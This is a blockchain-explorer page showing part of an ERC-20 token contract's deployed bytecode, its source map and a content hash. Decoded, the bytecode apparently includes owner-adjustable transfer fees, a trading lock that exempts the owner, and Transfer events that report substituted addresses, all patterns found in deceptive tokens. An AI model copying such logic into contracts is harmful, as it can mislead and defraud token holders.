ffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610a5f5750600760149054906101000a900460ff16155b8015610acf575060646012600a610a7691906116d5565b62989680610a84919061171f565b610a8e9190611826565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610b0757508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610d9a576001600760146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610b4357610b42611856565b5b604051908082528060200260200182016040528015610b715781602001602082028036833780820191505090505b50905030815f81518110610b8857610b87611883565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4391906117a7565b81600181518110610c5757610c56611883565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610cd191906116d5565b62989680610cdf919061171f565b610ce99190611826565b5f8430426040518663ffffffff1660e01b8152600401610d0d9594939291906119a9565b5f604051808303815f87803b158015610d24575f80fd5b505af1158015610d36573d5f803e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d7d573d5f803e3d5ffd5b505f600760146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610e13575060011515600760159054906101000a900460ff161515145b15610ef4575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614610e755783610e77565b825b60ff1687610e85919061171f565b610e8f9190611826565b90508086610e9d9190611760565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610eeb9190611a01565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f409190611a01565b9250508190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611026578573ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516110199190611383565b60405180910390a361116c565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036111055760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516110f89190611383565b60405180910390a361116b565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111629190611383565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611224826111e2565b61122e81856111ec565b935061123e8185602086016111fc565b6112478161120a565b840191505092915050565b5f6020820190508181035f83015261126a818461121a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61129f82611276565b9050919050565b6112af81611295565b81146112b9575f80fd5b50565b5f813590506112ca816112a6565b92915050565b5f819050919050565b6112e2816112d0565b81146112ec575f80fd5b50565b5f813590506112fd816112d9565b92915050565b5f806040838503121561131957611318611272565b5b5f611326858286016112bc565b9250506020611337858286016112ef565b9150509250929050565b5f8115159050919050565b61135581611341565b82525050565b5f60208201905061136e5f83018461134c565b92915050565b61137d816112d0565b82525050565b5f6020820190506113965f830184611374565b92915050565b5f805f606084860312156113b3576113b2611272565b5b5f6113c0868287016112bc565b93505060206113d1868287016112bc565b92505060406113e2868287016112ef565b9150509250925092565b5f60ff82169050919050565b611401816113ec565b811461140b575f80fd5b50565b5f8135905061141c816113f8565b92915050565b5f806040838503121561143857611437611272565b5b5f6114458582860161140e565b92505060206114568582860161140e565b9150509250929050565b61146981611295565b82525050565b611478816113ec565b82525050565b5f6060820190506114915f830186611460565b61149e602083018561146f565b6114ab604083018461146f565b949350505050565b5f602082840312156114c8576114c7611272565b5b5f6114d5848285016112bc565b91505092915050565b5f80604083850312156114f4576114f3611272565b5b5f611501858286016112bc565b9250506020611512858286016112bc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061156057607f821691505b6020821081036115735761157261151c565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156115fb578086048111156115d7576115d6611579565b5b60018516156115e65780820291505b80810290506115f4856115a6565b94506115bb565b94509492505050565b5f8261161357600190506116ce565b81611620575f90506116ce565b816001811461163657600281146116405761166f565b60019150506116ce565b60ff84111561165257611651611579565b5b8360020a91508482111561166957611668611579565b5b506116ce565b5060208310610133831016604e8410600b84101617156116a45782820a90508381111561169f5761169e611579565b5b6116ce565b6116b184848460016115b2565b925090508184048111156116c8576116c7611579565b5b81810290505b9392505050565b5f6116df826112d0565b91506116ea836112d0565b92506117177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611604565b905092915050565b5f611729826112d0565b9150611734836112d0565b9250828202611742816112d0565b9150828204841483151761175957611758611579565b5b5092915050565b5f61176a826112d0565b9150611775836112d0565b925082820390508181111561178d5761178c611579565b5b92915050565b5f815190506117a1816112a6565b92915050565b5f602082840312156117bc576117bb611272565b5b5f6117c984828501611793565b91505092915050565b5f6040820190506117e55f830185611460565b6117f26020830184611460565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611830826112d0565b915061183b836112d0565b92508261184b5761184a6117f9565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6118dc6118d76118d2846118b0565b6118b9565b6112d0565b9050919050565b6118ec816118c2565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61192481611295565b82525050565b5f611935838361191b565b60208301905092915050565b5f602082019050919050565b5f611957826118f2565b61196181856118fc565b935061196c8361190c565b805f5b8381101561199c578151611983888261192a565b975061198e83611941565b92505060018101905061196f565b5085935050505092915050565b5f60a0820190506119bc5f830188611374565b6119c960208301876118e3565b81810360408301526119db818661194d565b90506119ea6060830185611460565b6119f76080830184611374565b9695505050505050565b5f611a0b826112d0565b9150611a16836112d0565b9250828201905080821115611a2e57611a2d611579565b5b9291505056fea26469706673582212200195bffb02ffaa6837823a42bee7f773f22ca635fa8739c889db1ea3fb6fa3d264736f6c63430008190033

Deployed Bytecode Sourcemap

295:5057:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3329:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2977:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;449:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2746:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;405:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2002:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;619:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;932:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3428:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3192:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2384:354;;;;;;;;;;;;;:::i;:::-;;983:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3329:91;3374:13;3407:5;3400:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3329:91;:::o;2977:207::-;3045:4;3095:6;3062:9;:21;3072:10;3062:21;;;;;;;;;;;;;;;:30;3084:7;3062:30;;;;;;;;;;;;;;;:39;;;;3138:7;3117:37;;3126:10;3117:37;;;3147:6;3117:37;;;;;;:::i;:::-;;;;;;;;3172:4;3165:11;;2977:207;;;;:::o;449:65::-;440:2;500;:14;;;;:::i;:::-;487:10;:27;;;;:::i;:::-;449:65;:::o;2746:223::-;2862:4;2910:6;2879:9;:15;2889:4;2879:15;;;;;;;;;;;;;;;:27;2895:10;2879:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;2934:27;2944:4;2950:2;2954:6;2934:9;:27::i;:::-;2927:34;;2746:223;;;;;:::o;405:37::-;440:2;405:37;:::o;2002:143::-;2076:8;:6;:8::i;:::-;2062:22;;:10;:22;;;2058:48;;2093:13;;;;;;;;;;;;;;2058:48;2117:20;2130:2;2134;2117:12;:20::i;:::-;2002:143;;:::o;619:26::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;932:44::-;;;;;;;;;;;;;;;;;:::o;3428:95::-;3475:13;3508:7;3501:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3428:95;:::o;3192:129::-;3256:4;3280:33;3290:10;3302:2;3306:6;3280:9;:33::i;:::-;3273:40;;3192:129;;;;:::o;2384:354::-;2449:8;:6;:8::i;:::-;2435:22;;:10;:22;;;2427:31;;;;;;2478:11;;;;;;;;;;;2477:12;2469:21;;;;;;2501:16;1190:42;2520:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2501:45;;2557:13;1190:42;2573:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2557:39;;2607:13;2639:8;2623:33;;;2665:4;2672:5;2623:55;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2607:71;;2696:5;2689:4;;:12;;;;;;;;;;;;;;;;;;2726:4;2712:11;;:18;;;;;;;;;;;;;;;;;;2416:322;;;2384:354::o;983:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3680:1669::-;3793:4;3810:16;3829:8;:6;:8::i;:::-;3810:27;;3856:11;;;;;;;;;;;:31;;;;3879:8;3871:16;;:4;:16;;;3856:31;:49;;;;3897:8;3891:14;;:2;:14;;;3856:49;3848:58;;;;;;3938:6;3919:9;:15;3929:4;3919:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3981:4;;;;;;;;;;;3975:10;;:2;:10;;;:36;;;;;4003:8;;;;;;;;;;;4002:9;3975:36;:91;;;;;696:3;440:2;500;:14;;;;:::i;:::-;487:10;:27;;;;:::i;:::-;682:17;;;;:::i;:::-;4028:9;:24;4046:4;4028:24;;;;;;;;;;;;;;;;:38;;3975:91;:124;;;;;4091:8;4083:16;;:4;:16;;;;3975:124;3957:712;;;4137:4;4126:8;;:15;;;;;;;;;;;;;;;;;;4156:21;4194:1;4180:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4156:40;;4229:4;4211;4216:1;4211:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;1190:42;4259:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4249:4;4254:1;4249:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;1190:42;4297:88;;;696:3;440:2;500;:14;;;;:::i;:::-;487:10;:27;;;;:::i;:::-;682:17;;;;:::i;:::-;4441:1;4465:4;4500;4528:15;4297:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4585:8;4577:26;;:49;4604:21;4577:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4652:5;4641:8;;:16;;;;;;;;;;;;;;;;;;4111:558;3957:712;4682:13;4697:14;4716:9;:11;;;;;;;;;;;;4729:9;:11;;;;;;;;;;;;4681:60;;;;4772:4;4756:21;;:4;:21;;;;:44;;;;;4796:4;4781:19;;:11;;;;;;;;;;;:19;;;4756:44;4752:280;;;4817:27;4911:3;4881:4;;;;;;;;;;;4875:10;;:2;:10;;;:31;;4899:7;4875:31;;;4888:8;4875:31;4848:59;;:6;:59;;;;:::i;:::-;4847:67;;;;:::i;:::-;4817:97;;4939:19;4929:29;;;;;:::i;:::-;;;5001:19;4973:9;:24;4991:4;4973:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;4802:230;4752:280;5059:6;5042:9;:13;5052:2;5042:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5090:9;;;;;;;;;;;5082:17;;:4;:17;;;5078:242;;5141:2;5121:31;;5130:9;;;;;;;;;;;5121:31;;;5145:6;5121:31;;;;;;:::i;:::-;;;;;;;;5078:242;;;5180:9;;;;;;;;;;;5174:15;;:2;:15;;;5170:150;;5226:9;;;;;;;;;;;5211:33;;5220:4;5211:33;;;5237:6;5211:33;;;;;;:::i;:::-;;;;;;;;5170:150;;;5297:2;5282:26;;5291:4;5282:26;;;5301:6;5282:26;;;;;;:::i;:::-;;;;;;;;5170:150;5078:242;5337:4;5330:11;;;;;3680:1669;;;;;:::o;2283:93::-;2323:7;2350:9;:18;;;;;;;;;;;;2343:25;;2283:93;:::o;2153:122::-;2233:4;2219:9;:11;;;:18;;;;;;;;;;;;;;;;;;2262:5;2248:9;:11;;;:19;;;;;;;;;;;;;;;;;;2153:122;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:118::-;4479:22;4495:5;4479:22;:::i;:::-;4472:5;4469:33;4459:61;;4516:1;4513;4506:12;4459:61;4408:118;:::o;4532:135::-;4576:5;4614:6;4601:20;4592:29;;4630:31;4655:5;4630:31;:::i;:::-;4532:135;;;;:::o;4673:466::-;4737:6;4745;4794:2;4782:9;4773:7;4769:23;4765:32;4762:119;;;4800:79;;:::i;:::-;4762:119;4920:1;4945:51;4988:7;4979:6;4968:9;4964:22;4945:51;:::i;:::-;4935:61;;4891:115;5045:2;5071:51;5114:7;5105:6;5094:9;5090:22;5071:51;:::i;:::-;5061:61;;5016:116;4673:466;;;;;:::o;5145:118::-;5232:24;5250:5;5232:24;:::i;:::-;5227:3;5220:37;5145:118;;:::o;5269:112::-;5352:22;5368:5;5352:22;:::i;:::-;5347:3;5340:35;5269:112;;:::o;5387:426::-;5528:4;5566:2;5555:9;5551:18;5543:26;;5579:71;5647:1;5636:9;5632:17;5623:6;5579:71;:::i;:::-;5660:68;5724:2;5713:9;5709:18;5700:6;5660:68;:::i;:::-;5738;5802:2;5791:9;5787:18;5778:6;5738:68;:::i;:::-;5387:426;;;;;;:::o;5819:329::-;5878:6;5927:2;5915:9;5906:7;5902:23;5898:32;5895:119;;;5933:79;;:::i;:::-;5895:119;6053:1;6078:53;6123:7;6114:6;6103:9;6099:22;6078:53;:::i;:::-;6068:63;;6024:117;5819:329;;;;:::o;6154:474::-;6222:6;6230;6279:2;6267:9;6258:7;6254:23;6250:32;6247:119;;;6285:79;;:::i;:::-;6247:119;6405:1;6430:53;6475:7;6466:6;6455:9;6451:22;6430:53;:::i;:::-;6420:63;;6376:117;6532:2;6558:53;6603:7;6594:6;6583:9;6579:22;6558:53;:::i;:::-;6548:63;;6503:118;6154:474;;;;;:::o;6634:180::-;6682:77;6679:1;6672:88;6779:4;6776:1;6769:15;6803:4;6800:1;6793:15;6820:320;6864:6;6901:1;6895:4;6891:12;6881:22;;6948:1;6942:4;6938:12;6969:18;6959:81;;7025:4;7017:6;7013:17;7003:27;;6959:81;7087:2;7079:6;7076:14;7056:18;7053:38;7050:84;;7106:18;;:::i;:::-;7050:84;6871:269;6820:320;;;:::o;7146:180::-;7194:77;7191:1;7184:88;7291:4;7288:1;7281:15;7315:4;7312:1;7305:15;7332:102;7374:8;7421:5;7418:1;7414:13;7393:34;;7332:102;;;:::o;7440:848::-;7501:5;7508:4;7532:6;7523:15;;7556:5;7547:14;;7570:712;7591:1;7581:8;7578:15;7570:712;;;7686:4;7681:3;7677:14;7671:4;7668:24;7665:50;;;7695:18;;:::i;:::-;7665:50;7745:1;7735:8;7731:16;7728:451;;;8160:4;8153:5;8149:16;8140:25;;7728:451;8210:4;8204;8200:15;8192:23;;8240:32;8263:8;8240:32;:::i;:::-;8228:44;;7570:712;;;7440:848;;;;;;;:::o;8294:1073::-;8348:5;8539:8;8529:40;;8560:1;8551:10;;8562:5;;8529:40;8588:4;8578:36;;8605:1;8596:10;;8607:5;;8578:36;8674:4;8722:1;8717:27;;;;8758:1;8753:191;;;;8667:277;;8717:27;8735:1;8726:10;;8737:5;;;8753:191;8798:3;8788:8;8785:17;8782:43;;;8805:18;;:::i;:::-;8782:43;8854:8;8851:1;8847:16;8838:25;;8889:3;8882:5;8879:14;8876:40;;;8896:18;;:::i;:::-;8876:40;8929:5;;;8667:277;;9053:2;9043:8;9040:16;9034:3;9028:4;9025:13;9021:36;9003:2;8993:8;8990:16;8985:2;8979:4;8976:12;8972:35;8956:111;8953:246;;;9109:8;9103:4;9099:19;9090:28;;9144:3;9137:5;9134:14;9131:40;;;9151:18;;:::i;:::-;9131:40;9184:5;;8953:246;9224:42;9262:3;9252:8;9246:4;9243:1;9224:42;:::i;:::-;9209:57;;;;9298:4;9293:3;9289:14;9282:5;9279:25;9276:51;;;9307:18;;:::i;:::-;9276:51;9356:4;9349:5;9345:16;9336:25;;8294:1073;;;;;;:::o;9373:285::-;9433:5;9457:23;9475:4;9457:23;:::i;:::-;9449:31;;9501:27;9519:8;9501:27;:::i;:::-;9489:39;;9547:104;9584:66;9574:8;9568:4;9547:104;:::i;:::-;9538:113;;9373:285;;;;:::o;9664:410::-;9704:7;9727:20;9745:1;9727:20;:::i;:::-;9722:25;;9761:20;9779:1;9761:20;:::i;:::-;9756:25;;9816:1;9813;9809:9;9838:30;9856:11;9838:30;:::i;:::-;9827:41;;10017:1;10008:7;10004:15;10001:1;9998:22;9978:1;9971:9;9951:83;9928:139;;10047:18;;:::i;:::-;9928:139;9712:362;9664:410;;;;:::o;10080:194::-;10120:4;10140:20;10158:1;10140:20;:::i;:::-;10135:25;;10174:20;10192:1;10174:20;:::i;:::-;10169:25;;10218:1;10215;10211:9;10203:17;;10242:1;10236:4;10233:11;10230:37;;;10247:18;;:::i;:::-;10230:37;10080:194;;;;:::o;10280:143::-;10337:5;10368:6;10362:13;10353:22;;10384:33;10411:5;10384:33;:::i;:::-;10280:143;;;;:::o;10429:351::-;10499:6;10548:2;10536:9;10527:7;10523:23;10519:32;10516:119;;;10554:79;;:::i;:::-;10516:119;10674:1;10699:64;10755:7;10746:6;10735:9;10731:22;10699:64;:::i;:::-;10689:74;;10645:128;10429:351;;;;:::o;10786:332::-;10907:4;10945:2;10934:9;10930:18;10922:26;;10958:71;11026:1;11015:9;11011:17;11002:6;10958:71;:::i;:::-;11039:72;11107:2;11096:9;11092:18;11083:6;11039:72;:::i;:::-;10786:332;;;;;:::o;11124:180::-;11172:77;11169:1;11162:88;11269:4;11266:1;11259:15;11293:4;11290:1;11283:15;11310:185;11350:1;11367:20;11385:1;11367:20;:::i;:::-;11362:25;;11401:20;11419:1;11401:20;:::i;:::-;11396:25;;11440:1;11430:35;;11445:18;;:::i;:::-;11430:35;11487:1;11484;11480:9;11475:14;;11310:185;;;;:::o;11501:180::-;11549:77;11546:1;11539:88;11646:4;11643:1;11636:15;11670:4;11667:1;11660:15;11687:180;11735:77;11732:1;11725:88;11832:4;11829:1;11822:15;11856:4;11853:1;11846:15;11873:85;11918:7;11947:5;11936:16;;11873:85;;;:::o;11964:60::-;11992:3;12013:5;12006:12;;11964:60;;;:::o;12030:158::-;12088:9;12121:61;12139:42;12148:32;12174:5;12148:32;:::i;:::-;12139:42;:::i;:::-;12121:61;:::i;:::-;12108:74;;12030:158;;;:::o;12194:147::-;12289:45;12328:5;12289:45;:::i;:::-;12284:3;12277:58;12194:147;;:::o;12347:114::-;12414:6;12448:5;12442:12;12432:22;;12347:114;;;:::o;12467:184::-;12566:11;12600:6;12595:3;12588:19;12640:4;12635:3;12631:14;12616:29;;12467:184;;;;:::o;12657:132::-;12724:4;12747:3;12739:11;;12777:4;12772:3;12768:14;12760:22;;12657:132;;;:::o;12795:108::-;12872:24;12890:5;12872:24;:::i;:::-;12867:3;12860:37;12795:108;;:::o;12909:179::-;12978:10;12999:46;13041:3;13033:6;12999:46;:::i;:::-;13077:4;13072:3;13068:14;13054:28;;12909:179;;;;:::o;13094:113::-;13164:4;13196;13191:3;13187:14;13179:22;;13094:113;;;:::o;13243:732::-;13362:3;13391:54;13439:5;13391:54;:::i;:::-;13461:86;13540:6;13535:3;13461:86;:::i;:::-;13454:93;;13571:56;13621:5;13571:56;:::i;:::-;13650:7;13681:1;13666:284;13691:6;13688:1;13685:13;13666:284;;;13767:6;13761:13;13794:63;13853:3;13838:13;13794:63;:::i;:::-;13787:70;;13880:60;13933:6;13880:60;:::i;:::-;13870:70;;13726:224;13713:1;13710;13706:9;13701:14;;13666:284;;;13670:14;13966:3;13959:10;;13367:608;;;13243:732;;;;:::o;13981:831::-;14244:4;14282:3;14271:9;14267:19;14259:27;;14296:71;14364:1;14353:9;14349:17;14340:6;14296:71;:::i;:::-;14377:80;14453:2;14442:9;14438:18;14429:6;14377:80;:::i;:::-;14504:9;14498:4;14494:20;14489:2;14478:9;14474:18;14467:48;14532:108;14635:4;14626:6;14532:108;:::i;:::-;14524:116;;14650:72;14718:2;14707:9;14703:18;14694:6;14650:72;:::i;:::-;14732:73;14800:3;14789:9;14785:19;14776:6;14732:73;:::i;:::-;13981:831;;;;;;;;:::o;14818:191::-;14858:3;14877:20;14895:1;14877:20;:::i;:::-;14872:25;;14911:20;14929:1;14911:20;:::i;:::-;14906:25;;14954:1;14951;14947:9;14940:16;;14975:3;14972:1;14969:10;14966:36;;;14982:18;;:::i;:::-;14966:36;14818:191;;;;:::o

Swarm Source

ipfs://0195bffb02ffaa6837823a42bee7f773f22ca635fa8739c889db1ea3fb6fa3d2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.